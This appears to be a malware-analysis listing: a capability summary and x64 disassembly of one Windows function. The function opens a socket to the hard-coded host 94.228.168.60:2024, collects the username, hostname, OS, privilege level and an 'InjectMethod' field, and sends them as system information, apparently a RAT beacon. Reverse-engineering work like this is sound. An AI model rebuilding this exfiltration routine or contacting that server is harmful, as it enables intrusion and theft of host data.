Function at 0x1400043b0
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, qword [0x1400c3060]
test r12, r12
je 0x140004720
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [r12], rax
cmp rax, 0xffffffffffffffff
je 0x140004710
mov rax, qword [0x1400c3060]
xor edx, edx
mov r8d, 0xa
lea rcx, str.2024
lea rbx, [rsp + 0x3c]
mov byte [rax + 8], 0
mov eax, 2
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov word [rsp + 0x40], ax
call sub.msvcrt.dll_strtoul
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.94.228.168.60
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x20], 4
mov r9, rbx
mov edx, 0xffff
mov dword [rsp + 0x44], eax
mov rax, qword [0x1400c3060]
mov r8d, 4
mov dword [rsp + 0x3c], 1
mov r12, qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rax]
call r12
cmp eax, 0xffffffff
je 0x140004760
mov rax, qword [0x1400c3060]
mov r9, rbx
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 8
mov rcx, qword [rax]
call r12
cmp eax, 0xffffffff
je 0x140004778
mov rax, qword [0x1400c3060]
mov r9, rbx
mov edx, 6
mov dword [rsp + 0x20], 4
mov r8d, 1
mov rcx, qword [rax]
call r12
cmp eax, 0xffffffff
je 0x140004790
mov rax, qword [0x1400c3060]
lea rdx, [rsp + 0x40]
mov r8d, 0x10
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400046d0
call fcn.1400019b0
mov r12, rax
test rax, rax
je 0x1400046d0
lea rcx, str._____System_Info_____
call fcn.140001890
mov rdx, qword [r12 + 8]
lea rcx, str.Username:__s
call fcn.140001890
mov rdx, qword [r12]
lea rcx, str.Hostname:__s
call fcn.140001890
mov rdx, qword [r12 + 0x10]
lea rcx, str.OS:__s
call fcn.140001890
mov rdx, qword [r12 + 0x18]
lea rcx, str.Arch:__s
call fcn.140001890
mov rdx, qword [r12 + 0x20]
lea rcx, str.InjectMethod:__s
call fcn.140001890
mov edx, dword [r12 + 0x28]
lea rcx, str.CPUCount:__d
call fcn.140001890
call fcn.1400018f0
lea rcx, str.IPV6_Supported:__d
movzx edx, al
call fcn.140001890
movzx edx, byte [r12 + 0x41]
lea rcx, str.SuperUser:__d
call fcn.140001890
cvttsd2si edx, qword [r12 + 0x48]
lea rcx, str.Memory:__dMB
call fcn.140001890
mov rdx, qword [r12 + 0x30]
lea rcx, str.Version:__s
call fcn.140001890
lea rcx, str._____________________
call fcn.140001890
mov rdx, qword [0x1400c3060]
lea r9, str.2024
lea r8, str.94.228.168.60
lea rcx, str.Connected_to___p__s:_d_n
call fcn.140001890
mov rax, qword [0x1400c3060]
mov rcx, qword [rax + 0x10]
call fcn.14008d940
mov rax, qword [0x1400c3060]
xor edx, edx
mov rcx, qword [rax]
call fcn.140003670
test rax, rax
je 0x140004689
mov rax, qword [0x1400c3060]
mov edx, 1
mov rcx, qword [rax]
call fcn.140003670
test rax, rax
je 0x140004689
mov rax, qword [0x1400c3060]
lea rdx, str.SystemInfo
mov rcx, qword [rax]
call fcn.1400036f0
test rax, rax
je 0x140004689
mov rax, qword [0x1400c3060]
mov edx, 0xa
mov rcx, qword [rax]
call fcn.140003670
test rax, rax
je 0x140004689
mov edx, 0xa
mov rcx, r12
call fcn.140003dd0
mov rdx, rax
mov rax, qword [0x1400c3060]
mov rcx, qword [rax]
call fcn.1400036f0
mov rax, qword [0x1400c3060]
mov rcx, qword [rax + 0x10]
call fcn.14008dc60
mov rcx, r12
call fcn.140001da0
mov r9, qword [0x1400c3060]
lea r8, [0x140004200]
xor edx, edx
lea rcx, [r9 + 0x18]
call fcn.14008fec0
mov r8d, eax
mov eax, 1
test r8d, r8d
jne 0x1400046f0
add rsp, 0x58
pop rbx
pop r12
ret
mov rax, qword [0x1400c3060]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
add rsp, 0x58
pop rbx
pop r12
ret
mov rbx, qword [0x1400c3060]
test rbx, rbx
je 0x140004710
cmp qword [rbx], 0xffffffffffffffff
je 0x140004710
cmp byte [rbx + 8], 0
je 0x1400047a8
nop dword [rax]
xor eax, eax
add rsp, 0x58
pop rbx
pop r12
ret
mov ecx, 0x20
call sub.msvcrt.dll_malloc
mov ecx, 8
mov rbx, rax
mov qword [0x1400c3060], rax
call sub.msvcrt.dll_malloc
xor edx, edx
mov qword [rbx + 0x10], rax
mov rcx, rax
call fcn.14008dde0
mov r12, qword [0x1400c3060]
jmp 0x1400043c7
lea rcx, str.setsockopt_SO_REUSEADDR
call fcn.1400018b0
jmp 0x140004482
lea rcx, str.setsockopt_SO_KEEPALIVE
call fcn.1400018b0
jmp 0x1400044ae
lea rcx, str.setsockopt_TCP_NODELAY
call fcn.1400018b0
jmp 0x1400044da
lea rcx, str.Closing_connection
call fcn.140001890
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 8], 1
mov rcx, qword [rbx + 0x18]
call fcn.14008f9a0
xor eax, eax
jmp 0x140004712